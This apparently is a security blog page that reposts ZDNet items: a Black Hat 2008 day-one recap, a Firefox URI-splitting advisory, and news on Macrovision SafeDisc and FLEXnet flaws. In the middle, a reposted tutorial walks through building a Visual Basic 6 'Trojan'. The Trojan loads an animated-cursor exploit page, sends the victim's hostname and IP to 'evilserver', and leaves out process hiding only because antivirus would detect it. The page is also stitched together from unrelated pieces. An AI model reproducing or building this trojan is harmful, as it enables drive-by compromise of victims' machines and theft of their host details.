4 X Security Team

Well, this is well late, but here’s my recap of Black Hat Day 1. Sorry for the delay, but I’ve been terribly busy finishing up preparations for my Day 2 talk.

The first talk I went to see, “Pointers and Handles, A Story of Unchecked Assumptions in the Windows Kernel”, by Apple’s Alex Ionescu, discussed a number of vulnerabilities in the Windows kernel-mode library responsible for the Windows GUI subsystem. Most of this talk centered around attacking code where bad assumptions were made regarding the validity of pointers before they are dereferenced, and abusing the kernel mechanism of “protect from close” handles.

As Alex mentioned, these attacks have largely been overlooked in the past, due to the fact that most simply result in Denial of Service conditions. Alex mentioned how these flaws can no longer be overlooked as we have so many users working in Terminal Services emulated environments. I don’t know if Alex mentioned it, but a Denial of Service condition of this fashion could obviously also have lasting effects if used against a “cloud computing” or virtual server environment, where numerous systems could depend upon the up time of a singular machine.

About 3/4 of the way through Alex’s talk, I made my way over to Nitesh Dhanjani and Billy Rios’s talk on identity theft, “Bad Sushi”. I’ve seen and blogged about this presentation numerous times now, but there was some new tricks the pair pulled together. Dhanjani and Rios have talked at a few Black Hat conferences on this, and covered the ecosystem that is identity theft and how phishing, ATM skimming, etc. fill the demand for this market. So, I mentioned they had some new stuff, and it pretty much went like this:

1. Rios shows a picture of a terrorist with an AK-47 spraying bullets into a crowd, comparing this to the current state of mass phishing attacks.
2. He says, “Most people will turn and run, or get mowed down, but I will not go quietly into the night… I’m fighting back!”.
3. Rios now shows a slide of Rambo with a automatic weapon that seems unlikely to be wielded by a single individual, which is to represent Rios and his attack back on the phishers.
4. Rios sends out numerous word document files with embedded Rick-rolls to the phishers, claiming it is his account information and he’s looking to buy some of their phishing kits.
5. Said phisher gets Rick-rolled. Awesome!

I next made my way to the “DNS Goodness” talk by Dan Kaminsky. What a circus! By the time I got their, the largest room for Black Hat was full, people were standing room only, spilling out into the hallway for several feet. The heavily air-conditioned room couldn’t keep the temperature down with this many people in the room. Dan’s talk did not let down, despite all of the hype and leakage of information from the attack. The highlight for me was the visualization of vulnerable DNS servers turning into patched DNS servers on a global scale. All said and done, kudos to Dan, he found a serious bug and handled it as best he could to try to protect as many people as possible in my opinion.

The next talk I watched was “Return-Oriented Programming: Exploits Without Code Injection”, by Hovav Shacham. The idea with this talk is that you didn’t need to inject your own shellcode and jump to it, and you don’t need to do a return-to-libc into system, etc. The technique takes what already exists in the program to create shellcode. The method for doing this involves linking code snippets together that achieve the intended purpose, which end in ret instructions which will allow the attacker to control the stack to chain together instructions resulting in shellcode, etc.

Because the executed code is stored in memory marked executable, common protections like DEP and W^X are bypassed. Unfortunately, we’re still left to potentially deal with ASLR, but a very interesting talk and possibly useful technique.

After the “Return Oriented Programming” talk I went to watch my good friend Kevin Stadmeyer talk with co-worker Jacob Carlson on FLEX, AMF 3, and BlazeDS. The talk was interesting, and a bit different then a lot of the talks you see at Black Hat. The talk didn’t focus on any one specific vulnerability, it talked more about how you tackle the challenge of assessing FLEX, AMF 3, and BlazeDS. It also provided perspective for developers on what to keep in mind as potential security issues during design and development. Very interesting perspective, something I think the audience in attendance saw as very useful, especially considering the decent amount of questions that came up.

Finally, and most entertaining for the day, was the Pwnie Awards. The ZDNet blog had two Pwnie Award winners this year, myself (along with Rob Carter and Billy Rios) for best client-side bug, and Ryan Naraine, accepting the award on behalf of Kaspersky for best song. This was my first time attending the show, and it was a ton of fun. Judges Mark Dowd, Alex Sotirov, Dave Aitel, Dino Dai Zovi, and Halvar Flake gave Rob Carter, Billy Rios, and I the nod for best client-side bug, although I will say this for the record, it’s likely we got it as a default since Mark was one of the judges. He certainly deserved it for the amazing amount of hoops he jumped through to pull of his exploit.

Look for Day 2 later today, followed by coverage of DEFCON!

[Source: zdnet]

Update 07/16/2008: Apparently I neglected to mention that this has been patched already. Reading over it again and a heads up from a reader pointed out the error to me. As always, great job by Window Snyder and the Mozilla Security Team for getting this patched quickly.

Billy Rios is at it again. Rios, Rob Carter, and I have made a year and more of our research into exploiting URI/protocol handler vulnerabilities on numerous operating systems and applications, and it appears Rios has ANOTHER one to go with all that previously reported, as well as his most recent vector, which was used against Opera.

From Mozilla:

Security researcher Billy Rios reported that if Firefox is not already running, passing it a command-line URI with pipe (”|”) symbols will open multiple tabs. This URI splitting could be used to launch chrome: URIs from the command-line, a partial bypass of the fix for MFSA 2005-53 which was intended to block external applications from loading such URIs (that vulnerability remains fixed, however).

This vulnerability could also be used by an attacker to pass URIs to Firefox that would normally be handled by a vector application by appending it to a URI not handled by the vector application. For example, web browsers normally handle file: URIs themselves, or block them from web content altogether, but this flaw enabled attackers to pass them from another browser into Firefox. In Firefox 2 scripts running from file: URIs can read data from a user’s entire disk, a risk if the attacker could first place a malicious file in a guessable location on the local disk. Rios demonstrated that the so-called “Safari Carpet-bombing vulnerability” could be used for this, as well as other techniques that do not rely on that now-fixed Safari vulnerability.

In Firefox 3 scripts running in local files have limited access to other files, almost entirely mitigating the file: attack. However, combined with a vulnerability which allows an attacker to inject script into a chrome document the above issue could be used to run arbitrary code on a victim’s computer. Such a chrome injection vulnerability was discovered in Firefox 3 by Mozilla developers Ben Turner and Dan Veditz who showed that a XUL based error page was not properly sanitizing inputs and could be used in this attack. In the absence of the attack described by Billy Rios this injection attack would not run with any special privilege and would be at best a spoofing vulnerability.

It will be interesting to see if Rios provides proof of concept code, but if you look at the protocol handler registered on the operating system, and how it interacts with Firefox, it may be straightforward. URI and protocol handler abuse continues to be an extremely viable option of attack.

[Source: zdnet]

Greetz: Edu, Str0ke…DarkPontifex, Euan

I am using “Windows Animated Cursor Handling Exploit (0day) (Version3) by jamikazu” to demonstrate this Example.

Technical Details:

Tested on:

Windows Vista Enterprise Version 6.0 (Build 6000) (default installation and UAC enabled)

Windows Vista Ultimate Version 6.0 (Build 6000) (default installation and UAC enabled)

Windows XP SP2

 Target System: Windows xpsp2 fully patched version, with internet explorer 7(Beta3)

So I installed IE7 Beta3 on my Pc. Start VisualBasic6.0

With Standard EXE project.

Then add Ieframe.dll, you will get an error that “File Not Found”. This is because IE7 replaces Ieframe.dll controls. Let me explain you what is IEframe.dll

 Ieframe.dll is a simple VB-browser or browser control

We can use this as   wb1.navigate (http://www.google.co.in/)

Ieframe.dll comes with vb6.0 but after installing IE7, ieframe.dll become useless because

IE7 has its own cookie for vb6.0 shdocvw.dll J.How over come the error? I will show below

Browse Shdocvw.dll After adding it points Microsoft internet controls. Then press Apply

Also add Mswinsck.ocx ,flash9b.dll

Drag browser control (shdocvw.dll) to from toolbox along with flash9b.dll, mswinsck.ock

Then Drag flash ocx and add your favorite swf to it. Then drag shdocvw.dll but make

Sure that the size is smaller as shown in the figure. Because our idea is to execute the

The url size doesn’t matter..

 

Then problem of this code executing IE was DEP. Then advantage with this Trojan is

It doesn’t have DEP at all. As we include components with this application.

It doesn’t even rely on system .dlls or activex controls

The reason why I dint added processes hiding code is, easily detected by AV’s

Add the following code

Private Sub Form_Load()

Dim hsname As String

Dim ipaddr As String

hsname = winsck.LocalHostName

ipaddr = winsck.LocalIP

Wb.Navigate ("http://jamikazu.110mb.com/ani_exploit4/ani_exp4.htm")

Wb.Navigate2 ("http://evilserver/hsname ipaddr")

 

End Sub

 

Wb is the browser control and Wb.Navigate loads the exploit.

Wb.naviagate2 sends victim’s ip and host name to attacker

Winsck is MSwinsck.ocx (Winsock)

 

Then compile it and Run

[Source:     ]

October 31st, 2007

Macrovision today released a patch for a very severe vulnerability in the FLEXnet Connect (InstallShield) patch-delivery offering but there’s still no word on a fix for a zero-day attack vector in the company’s Safedisc DRM application.

FLEXnet Connect, which lets users electronically deliver applications, patches, updates, and messages directly to third-party systems, has been updated to correct an ActiveX issue that could lead to code execution attacks.

[ SEE: Zero-day flaw in Macrovision DRM app under attack ]

A warning from iDefense spells out the risk scenario:

Exploitation allows attackers to execute arbitrary code with the privileges of the currently logged-in user. In order for exploitation to occur, users would be required to have a vulnerable version of the software installed and be lured to a malicious site. Even though the update control does display an interface, no additional interaction is required in order for exploitation to occur.

Since this control is marked “safe for scripting”, it can be launched from a web page without warning dialogs. While it is possible for an alert user to determine what is occurring and cancel the installation, the window of opportunity is small and based solely upon the time required for the system to complete the download.

Macrovision InstallShield Update Service versions 5.01.100.47363 and 6.0.100.60146 are confirmed vulnerable . Previous versions are also suspected to be at risk, iDefense said.

Patches are available for download at Macrovision’s FLEXnet Connect site.

Meanwhile, Windows users are still waiting for a known — and under attack — flaw affecting the Macrovision Safedisc (secdrv.sys) DRM scheme.

That vulnerability, which affects default installations of Windows XP and Windows 2003, can be exploited to overwrite arbitrary kernel memory and execute arbitrary code with SYSTEM privileges.

Proof-of-concept exploit code (.zip file) for the Safedisc issue is already in circulation. A functional exploit is commercially available through the CORE IMPACT and Immunity Canvas penetration testing platforms.

There is a strong likelihood that the Macromedia Safedisc patch will be bundled with Microsoft’s updates on Patch Tuesday next month (November 13, 2007).

[Source: Zdnet]

October 23rd, 2007

Malware authors are actively exploiting a zero-day privilege escalation vulnerability in a copy protection application installed by default in Windows XP and Windows 2003, according to a warning from anti-virus vendor Symantec.

The unpatched vulnerability, confirmed in the Macrovision SafeDisc (secdrv.sys) DRM scheme for online games, can be exploited overwrite arbitrary kernel memory and execute arbitrary code with SYSTEM privileges.

This facilitates the complete compromise of affected computers.

An advisory from the NVD (National Vulnerability Database) provides the skinny:

Buffer overflow in Macrovision SafeDisc secdrv.sys, as shipped in Microsoft Windows XP and Server 2003, allows local users to overwrite arbitrary memory locations and gain privileges via a crafted argument to a METHOD_NEITHER IOCTL.

Symantec researcher Elia Florio stumbled upon the flaw while reverse engineering an in-the-wild malware sample and successfully tested the exploit against fully patched Windows XP-SP2 and Windows 2003-SP1 machines. Windows Vista does not seem to be affected by the problem, Florio said.

Immediately after Florio went public with his discovery, researchers at Reverse Mode traced the issue to the Macrovision SafeDisc application. Exploit code (.zip file) for this issue is already in circulation.

A functional exploit is commercially available through the CORE IMPACT penetration testing platform.

[Source: Zdnet]

Posted by xssworm on November 23rd, 2007